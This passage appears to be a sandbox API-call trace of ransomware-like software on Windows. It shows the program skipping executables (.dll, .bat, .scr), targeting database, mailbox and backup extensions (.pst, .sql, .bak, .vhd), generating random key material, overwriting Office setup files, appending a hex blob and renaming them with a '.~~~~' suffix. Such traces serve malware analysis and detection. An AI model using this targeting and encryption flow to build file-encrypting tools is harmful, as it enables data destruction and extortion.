	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".ost") returned 0x0
	[0080.977] lstrlenW (lpString=".txt") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".txt") returned 0x0
	[0080.977] lstrlenW (lpString=".mdt") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".mdt") returned 0x0
	[0080.977] lstrlenW (lpString=".BDB") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".BDB") returned 0x0
	[0080.977] lstrlenW (lpString=".eql") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".eql") returned 0x0
	[0080.977] lstrlenW (lpString=".DBF") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DBF") returned 0x0
	[0080.977] lstrlenW (lpString=".EQL") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".EQL") returned 0x0
	[0080.977] lstrlenW (lpString=".FDB") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".FDB") returned 0x0
	[0080.977] lstrlenW (lpString=".EDB") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".EDB") returned 0x0
	[0080.977] lstrlenW (lpString=".DACPAC") returned 7
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DACPAC") returned 0x0
	[0080.977] lstrlenW (lpString=".VHD") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".VHD") returned 0x0
	[0080.977] lstrlenW (lpString=".DBV") returned 4
	[0080.977] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DBV") returned 0x0
	[0080.978] lstrlenW (lpString=".dacpac") returned 7
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".dacpac") returned 0x0
	[0080.978] lstrlenW (lpString=".sdf") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".sdf") returned 0x0
	[0080.978] lstrlenW (lpString=".accdb") returned 6
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".accdb") returned 0x0
	[0080.978] lstrlenW (lpString=".DBX") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DBX") returned 0x0
	[0080.978] lstrlenW (lpString=".MDT") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".MDT") returned 0x0
	[0080.978] lstrlenW (lpString=".SQB") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".SQB") returned 0x0
	[0080.978] lstrlenW (lpString=".vhd") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".vhd") returned 0x0
	[0080.978] lstrlenW (lpString=".bac") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".bac") returned 0x0
	[0080.978] lstrlenW (lpString=".mdf") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".mdf") returned 0x0
	[0080.978] lstrlenW (lpString=".BAK") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".BAK") returned 0x0
	[0080.978] lstrlenW (lpString=".BAC") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".BAC") returned 0x0
	[0080.978] lstrlenW (lpString=".dbs") returned 4
	[0080.978] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".dbs") returned 0x0
	[0080.978] lstrlenW (lpString=".vhdx") returned 5
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".vhdx") returned 0x0
	[0080.979] lstrlenW (lpString=".NDF") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".NDF") returned 0x0
	[0080.979] lstrlenW (lpString=".dat") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".dat") returned 0x0
	[0080.979] lstrlenW (lpString=".DBS") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DBS") returned 0x0
	[0080.979] lstrlenW (lpString=".CKP") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".CKP") returned 0x0
	[0080.979] lstrlenW (lpString=".edb") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".edb") returned 0x0
	[0080.979] lstrlenW (lpString=".PST") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".PST") returned 0x0
	[0080.979] lstrlenW (lpString=".dbf") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".dbf") returned 0x0
	[0080.979] lstrlenW (lpString=".SQL") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".SQL") returned 0x0
	[0080.979] lstrlenW (lpString=".pst") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".pst") returned 0x0
	[0080.979] lstrlenW (lpString=".dbv") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".dbv") returned 0x0
	[0080.979] lstrlenW (lpString=".SDF") returned 4
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".SDF") returned 0x0
	[0080.979] lstrlenW (lpString=".dtxs") returned 5
	[0080.979] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".dtxs") returned 0x0
	[0080.980] lstrlenW (lpString=".db3") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".db3") returned 0x0
	[0080.980] lstrlenW (lpString=".OST") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".OST") returned 0x0
	[0080.980] lstrlenW (lpString=".dbx") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".dbx") returned 0x0
	[0080.980] lstrlenW (lpString=".DB3") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DB3") returned 0x0
	[0080.980] lstrlenW (lpString=".DAT") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DAT") returned 0x0
	[0080.980] lstrlenW (lpString=".VHDX") returned 5
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".VHDX") returned 0x0
	[0080.980] lstrlenW (lpString=".ndf") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".ndf") returned 0x0
	[0080.980] lstrlenW (lpString=".DB") returned 3
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DB") returned 0x0
	[0080.980] lstrlenW (lpString=".sql") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".sql") returned 0x0
	[0080.980] lstrlenW (lpString=".MYD") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".MYD") returned 0x0
	[0080.980] lstrlenW (lpString=".DBT") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DBT") returned 0x0
	[0080.980] lstrlenW (lpString=".ACCDB") returned 6
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".ACCDB") returned 0x0
	[0080.980] lstrlenW (lpString=".fdb") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".fdb") returned 0x0
	[0080.980] lstrlenW (lpString=".bak") returned 4
	[0080.980] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".bak") returned 0x0
	[0080.981] lstrlenW (lpString=".myd") returned 4
	[0080.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".myd") returned 0x0
	[0080.981] lstrlenW (lpString=".DTXS") returned 5
	[0080.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".DTXS") returned 0x0
	[0080.981] lstrlenW (lpString=".ckp") returned 4
	[0080.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".ckp") returned 0x0
	[0080.981] lstrlenW (lpString=".dbt") returned 4
	[0080.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".dbt") returned 0x0
	[0080.981] lstrlenW (lpString=".db") returned 3
	[0080.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".db") returned 0x0
	[0080.981] lstrlenW (lpString=".TXT") returned 4
	[0080.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".TXT") returned 0x0
	[0080.981] lstrlenW (lpString=".MDF") returned 4
	[0080.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".MDF") returned 0x0
	[0080.981] lstrlenW (lpString=".bdb") returned 4
	[0080.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".bdb") returned 0x0
	[0080.981] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0080.981] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0080.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0080.981] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0080.981] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x39fe28) returned 1
	[0080.982] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0080.982] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0080.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0080.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368ba0
	[0080.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0080.982] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=20097236718) returned 1
	[0080.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0x9a1e9e90, dwHighDateTime=0x1d60e1e)) 
	[0080.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0080.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0080.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0080.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fa890
	[0080.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0080.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fa890 | out: hHeap=0x300000) returned 1
	[0080.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0080.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0080.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3b56f8
	[0080.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0080.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0080.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0080.983] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0080.983] GetLastError () returned 0x0
	[0080.983] GetLastError () returned 0x0
	[0080.983] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0080.983] GetLastError () returned 0x0
	[0080.983] GetLastError () returned 0x0
	[0080.983] ReadFile (in: hFile=0x128, lpBuffer=0x37b730, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesRead=0x1f8fec0*=0xc72, lpOverlapped=0x0) returned 1
	[0081.022] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff38e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.022] WriteFile (in: hFile=0x128, lpBuffer=0x37b730*, nNumberOfBytesToWrite=0xc72, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x37b730*, lpNumberOfBytesWritten=0x1f8fec0*=0xc72, lpOverlapped=0x0) returned 1
	[0081.022] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37b730 | out: hHeap=0x300000) returned 1
	[0081.024] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.024] WriteFile (in: hFile=0x128, lpBuffer=0x368ba0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368ba0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.024] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.024] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.024] CloseHandle (hObject=0x128) returned 1
	[0081.025] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a7108
	[0081.025] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.~~~~")) returned 1
	[0081.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7108 | out: hHeap=0x300000) returned 1
	[0081.025] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0081.025] GetLastError () returned 0x0
	[0081.025] RtlWakeConditionVariable () returned 0x365f70
	[0081.025] GetCurrentThreadId () returned 0xaf0
	[0081.025] GetCurrentThreadId () returned 0xaf0
	[0081.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27ffc98
	[0081.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fff50 | out: hHeap=0x300000) returned 1
	[0081.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fdfe0 | out: hHeap=0x300000) returned 1
	[0081.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xe0) returned 0x27fff50
	[0081.026] lstrlenW (lpString=".scr") returned 4
	[0081.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll", lpSrch=".scr") returned 0x0
	[0081.026] lstrlenW (lpString=".cmd") returned 4
	[0081.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll", lpSrch=".cmd") returned 0x0
	[0081.026] lstrlenW (lpString=".dll") returned 4
	[0081.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig.companion.dll", lpSrch=".dll") returned=".dll"
	[0081.026] lstrlenW (lpString=".dll") returned 4
	[0081.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fff50 | out: hHeap=0x300000) returned 1
	[0081.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27ffc98 | out: hHeap=0x300000) returned 1
	[0081.026] RtlWakeConditionVariable () returned 0x365f70
	[0081.026] GetCurrentThreadId () returned 0xaf0
	[0081.026] GetCurrentThreadId () returned 0xaf0
	[0081.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x39ece0
	[0081.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b34d0 | out: hHeap=0x300000) returned 1
	[0081.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe018 | out: hHeap=0x300000) returned 1
	[0081.026] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xf0) returned 0x3a7108
	[0081.026] lstrlenW (lpString=".scr") returned 4
	[0081.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".scr") returned 0x0
	[0081.026] lstrlenW (lpString=".cmd") returned 4
	[0081.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".cmd") returned 0x0
	[0081.026] lstrlenW (lpString=".dll") returned 4
	[0081.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".dll") returned 0x0
	[0081.026] lstrlenW (lpString=".bat") returned 4
	[0081.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".bat") returned 0x0
	[0081.026] lstrlenW (lpString=".cpl") returned 4
	[0081.026] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".cpl") returned 0x0
	[0081.027] lstrlenW (lpString=".sys") returned 4
	[0081.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".sys") returned 0x0
	[0081.027] lstrlenW (lpString=".msc") returned 4
	[0081.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".msc") returned 0x0
	[0081.027] lstrlenW (lpString=".com") returned 4
	[0081.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".com") returned 0x0
	[0081.027] lstrlenW (lpString=".lnk") returned 4
	[0081.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".lnk") returned 0x0
	[0081.027] lstrlenW (lpString=".msp") returned 4
	[0081.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".msp") returned 0x0
	[0081.027] lstrlenW (lpString=".pif") returned 4
	[0081.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".pif") returned 0x0
	[0081.027] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0081.027] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\powerpoint.en-us\\powerpointmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0081.027] lstrlenW (lpString=".sqb") returned 4
	[0081.027] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PowerPoint.en-us\\PowerPointMUI.XML", lpSrch=".sqb") returned 0x0
	[0081.027] lstrlenW (lpString=".ost") returned 4
